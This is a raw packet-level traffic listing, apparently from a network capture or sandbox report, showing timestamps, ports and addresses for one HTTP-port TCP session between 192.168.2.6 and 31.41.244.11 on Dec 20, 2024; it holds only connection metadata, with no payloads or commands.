Dec 20, 2024 21:13:25.256027937 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.257141113 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.257175922 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.257208109 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.258208036 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.258307934 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.258333921 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.259046078 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.259460926 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.259519100 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.260626078 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.260679960 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.260771036 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.261781931 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.261897087 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.261898041 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.262989044 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.263209105 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.263241053 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.263386965 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.264161110 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.264281988 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.265358925 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.265459061 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.265460014 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.266555071 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.266632080 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.266737938 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.266855001 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.267740965 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.267748117 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.267872095 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.268098116 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.268944025 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.269104004 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.269109011 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.269750118 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.270138025 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.270246983 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.270247936 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.270302057 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.271399021 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.271476030 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.271501064 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.271732092 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.272532940 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.272614002 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.272623062 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.273077965 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.273773909 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.273858070 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.273935080 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.274914980 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.275015116 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.275048018 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.275563955 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.276122093 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.276290894 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.276331902 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.276495934 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.277363062 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.277436018 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.277656078 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.278445005 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.278538942 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.278573990 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.278814077 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.279665947 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.279733896 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.279898882 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.280004978 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.280860901 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.280977011 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.410521984 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.410538912 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.410679102 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.410813093 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.410897970 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.410933971 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.411068916 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.412087917 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.412200928 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.412230015 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.412365913 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.413206100 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.413274050 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.413331985 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.413486958 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.414331913 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.414480925 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.414530039 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.414558887 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.415535927 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.415612936 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.415657997 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.415787935 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.416739941 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.416847944 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.416857958 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.416907072 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.417928934 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.418059111 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.418086052 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.418147087 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.419173956 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.419286013 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.419308901 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.419332981 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.420324087 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.420391083 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.420392990 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.420535088 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.421566963 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.421674967 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.421839952 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.421839952 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.422704935 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.422799110 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.422916889 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.423995972 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.424113989 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.424176931 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.424314976 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.425043106 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.425185919 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.425194979 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.425229073 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.426253080 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.426328897 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.426367998 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.426464081 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.427424908 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.427504063 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.427522898 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.427596092 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.428613901 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.428713083 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.428750992 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.428982973 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.429827929 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.429939985 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.429986000 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.430149078 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.431027889 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.431116104 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.431149960 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.431199074 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.432198048 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.432321072 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.432360888 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.432430983 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.433506966 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.433636904 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.433836937 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.433923006 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.434662104 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.434767008 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.434854984 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.435254097 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.435823917 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.435900927 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.435937881 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.436009884 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.437007904 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.437058926 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.437079906 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.437413931 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.438184977 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.438285112 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.438468933 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.439337015 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.439434052 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.439527035 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.439527035 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.440669060 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.440733910 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.440736055 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.440872908 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.441737890 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.441885948 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.442045927 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.442949057 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.443018913 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.443109035 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.444134951 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.444313049 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.444328070 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.444737911 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.445286989 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.445390940 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.445488930 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.446494102 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.446557999 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.446629047 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.446795940 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.447748899 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.447824001 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.447835922 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.447981119 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.448880911 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.448987007 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.449009895 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.449067116 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.450118065 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.450172901 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.450279951 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.450393915 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.451260090 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.451335907 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.451370955 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.451447964 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.452472925 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.452584028 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.452608109 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.452650070 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.453687906 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.453768015 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.453896999 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.455048084 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.455138922 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.455207109 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.456058979 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.456144094 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.456213951 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.456213951 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.457223892 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.457285881 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.457319975 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.457382917 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.458390951 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.458504915 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.458542109 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.458590031 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.459580898 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.459652901 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.459686041 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.459898949 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.460786104 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.460892916 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.460943937 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.461003065 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.461997032 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.462105036 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.462201118 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.463498116 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.463579893 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.463615894 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.463730097 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.464350939 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.464418888 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.464452028 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.464576006 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.465570927 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.465661049 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.465719938 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.466775894 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.466917038 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.466943979 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.466969013 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.467932940 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.468034983 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.468130112 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.468924046 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.469121933 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.469166994 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.469239950 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.470170021 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.470293999 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.470374107 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.470408916 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.470487118 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.471549988 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.471607924 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.471625090 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.471738100 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.472743988 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.472790003 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.604561090 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.604655981 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.604696035 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.605108023 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.605192900 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.605232000 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.606323004 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.606373072 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.606409073 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.607559919 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.607650042 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.607666969 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.608587980 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.608649969 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.608735085 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.608808041 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.609191895 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.609842062 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.609899998 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.610039949 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.610176086 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.611021042 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.611110926 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.611145020 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.611191988 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.612243891 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.612333059 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.612337112 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.612389088 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.613411903 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.613483906 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.613521099 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.613782883 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.614614010 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.614728928 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.614732981 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.614864111 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.615798950 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.615852118 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.615876913 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.616189003 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.617033005 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.617105961 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.617172956 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.617351055 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.618262053 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.618371964 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.618494987 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.619501114 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.619592905 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.619599104 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.619721889 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.620634079 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.620688915 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.620739937 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.621783972 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.621869087 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.622950077 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.623024940 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.623120070 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.623120070 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.624119043 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.624238968 CET	80	49887	31.41.244.11	192.168.2.6
